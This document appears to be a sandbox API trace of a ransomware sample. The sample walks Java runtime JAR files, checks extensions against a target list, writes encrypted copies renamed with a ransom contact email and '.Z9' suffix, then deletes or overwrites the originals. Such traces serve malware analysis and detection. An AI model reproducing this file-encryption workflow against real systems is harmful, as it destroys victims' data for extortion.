	[0096.750] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString=".zip") returned 4
	[0096.750] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".rar") returned 4
	[0096.750] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".bz2") returned 4
	[0096.750] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0096.750] lstrlenW (lpString=".7z") returned 3
	[0096.750] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString=".dbf") returned 4
	[0096.750] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString=".1cd") returned 4
	[0096.750] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString=".jpg") returned 4
	[0096.750] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.750] lstrlenW (lpString=".doc") returned 4
	[0096.750] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0096.750] lstrlenW (lpString=".docx") returned 5
	[0096.750] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0096.750] lstrlenW (lpString=".pdf") returned 4
	[0096.750] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".xls") returned 4
	[0096.750] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0096.750] lstrlenW (lpString=".xlsx") returned 5
	[0096.751] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0096.751] lstrlenW (lpString=".ppt") returned 4
	[0096.751] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0096.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.751] lstrlenW (lpString=".zip") returned 4
	[0096.751] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0096.751] lstrlenW (lpString=".rar") returned 4
	[0096.751] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0096.751] lstrlenW (lpString=".bz2") returned 4
	[0096.751] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0096.751] lstrlenW (lpString=".7z") returned 3
	[0096.751] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0096.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.751] lstrlenW (lpString=".dbf") returned 4
	[0096.751] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0096.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.751] lstrlenW (lpString=".1cd") returned 4
	[0096.751] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0096.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51
	[0096.751] lstrlenW (lpString=".jpg") returned 4
	[0096.751] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0096.751] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0096.751] lstrlenW (lpString="dnsns.jar") returned 9
	[0096.751] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0096.752] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8286) returned 1
	[0096.752] CloseHandle (hObject=0x350) returned 1
	[0096.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20
	[0096.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0096.752] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.752] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0096.753] GetLastError () returned 0x0
	[0096.753] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x205e, lpOverlapped=0x0) returned 1
	[0097.000] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x2060, lpOverlapped=0x0) returned 1
	[0097.280] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.280] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0097.280] SetEndOfFile (hFile=0x380) returned 1
	[0097.280] CloseHandle (hObject=0x380) returned 1
	[0097.280] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.280] SetEndOfFile (hFile=0x350) returned 1
	[0097.281] CloseHandle (hObject=0x350) returned 1
	[0097.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.281] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1
	[0097.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.282] lstrlenW (lpString=".doc") returned 4
	[0097.282] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.282] lstrlenW (lpString=".docx") returned 5
	[0097.282] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0097.282] lstrlenW (lpString=".pdf") returned 4
	[0097.282] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.282] lstrlenW (lpString=".xls") returned 4
	[0097.282] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.282] lstrlenW (lpString=".xlsx") returned 5
	[0097.282] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0097.282] lstrlenW (lpString=".ppt") returned 4
	[0097.282] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.282] lstrlenW (lpString=".zip") returned 4
	[0097.282] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.282] lstrlenW (lpString=".rar") returned 4
	[0097.282] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.282] lstrlenW (lpString=".bz2") returned 4
	[0097.282] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.282] lstrlenW (lpString=".7z") returned 3
	[0097.282] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.282] lstrlenW (lpString=".dbf") returned 4
	[0097.282] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.282] lstrlenW (lpString=".1cd") returned 4
	[0097.287] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.287] lstrlenW (lpString=".jpg") returned 4
	[0097.287] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.287] lstrlenW (lpString=".doc") returned 4
	[0097.287] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.287] lstrlenW (lpString=".docx") returned 5
	[0097.287] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0097.287] lstrlenW (lpString=".pdf") returned 4
	[0097.287] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.288] lstrlenW (lpString=".xls") returned 4
	[0097.288] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.288] lstrlenW (lpString=".xlsx") returned 5
	[0097.288] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0097.288] lstrlenW (lpString=".ppt") returned 4
	[0097.288] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.288] lstrlenW (lpString=".zip") returned 4
	[0097.288] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.288] lstrlenW (lpString=".rar") returned 4
	[0097.288] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.288] lstrlenW (lpString=".bz2") returned 4
	[0097.288] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.288] lstrlenW (lpString=".7z") returned 3
	[0097.288] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.288] lstrlenW (lpString=".dbf") returned 4
	[0097.288] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.288] lstrlenW (lpString=".1cd") returned 4
	[0097.288] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0097.288] lstrlenW (lpString=".jpg") returned 4
	[0097.288] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.288] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.288] lstrlenW (lpString="jfxrt.jar") returned 9
	[0097.288] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.289] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18246297) returned 1
	[0097.289] CloseHandle (hObject=0x350) returned 1
	[0097.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20
	[0097.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0097.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1
	[0097.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.290] ReadFile (in: hFile=0x350, lpBuffer=0x3b28058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b28058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.301] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.301] ReadFile (in: hFile=0x350, lpBuffer=0x3b68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b68058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.327] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.327] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.327] ReadFile (in: hFile=0x350, lpBuffer=0x3ba8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba8058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.410] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.411] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fca8*=0xc00fe, lpOverlapped=0x0) returned 1
	[0097.445] SetEndOfFile (hFile=0x350) returned 1
	[0097.445] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ebb008
	[0097.755] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0097.755] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0097.757] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0097.757] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0097.762] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0097.762] WriteFile (in: hFile=0x350, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0097.765] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0097.765] CloseHandle (hObject=0x350) returned 1
	[0097.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".doc") returned 4
	[0097.766] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.766] lstrlenW (lpString=".docx") returned 5
	[0097.766] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0097.766] lstrlenW (lpString=".pdf") returned 4
	[0097.766] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString=".xls") returned 4
	[0097.766] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString=".xlsx") returned 5
	[0097.766] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0097.766] lstrlenW (lpString=".ppt") returned 4
	[0097.766] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".zip") returned 4
	[0097.766] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString=".rar") returned 4
	[0097.766] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString=".bz2") returned 4
	[0097.766] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.766] lstrlenW (lpString=".7z") returned 3
	[0097.766] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".dbf") returned 4
	[0097.766] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".1cd") returned 4
	[0097.766] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".jpg") returned 4
	[0097.766] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.766] lstrlenW (lpString=".doc") returned 4
	[0097.767] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.767] lstrlenW (lpString=".docx") returned 5
	[0097.767] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0097.767] lstrlenW (lpString=".pdf") returned 4
	[0097.767] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.767] lstrlenW (lpString=".xls") returned 4
	[0097.767] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.767] lstrlenW (lpString=".xlsx") returned 5
	[0097.767] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0097.767] lstrlenW (lpString=".ppt") returned 4
	[0097.767] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.767] lstrlenW (lpString=".zip") returned 4
	[0097.767] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.767] lstrlenW (lpString=".rar") returned 4
	[0097.767] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.767] lstrlenW (lpString=".bz2") returned 4
	[0097.767] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.767] lstrlenW (lpString=".7z") returned 3
	[0097.767] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.767] lstrlenW (lpString=".dbf") returned 4
	[0097.767] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.767] lstrlenW (lpString=".1cd") returned 4
	[0097.767] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0097.767] lstrlenW (lpString=".jpg") returned 4
	[0097.767] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.767] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.767] lstrlenW (lpString="sunec.jar") returned 9
	[0097.767] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.769] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=42185) returned 1
	[0097.769] CloseHandle (hObject=0x350) returned 1
	[0097.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20
	[0097.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0097.769] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.769] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0097.770] GetLastError () returned 0x0
	[0097.770] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0097.776] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0097.778] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.778] WriteFile (in: hFile=0x2b8, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0097.779] SetEndOfFile (hFile=0x2b8) returned 1
	[0097.779] CloseHandle (hObject=0x2b8) returned 1
	[0097.779] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.779] SetEndOfFile (hFile=0x350) returned 1
	[0097.780] CloseHandle (hObject=0x350) returned 1
	[0097.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
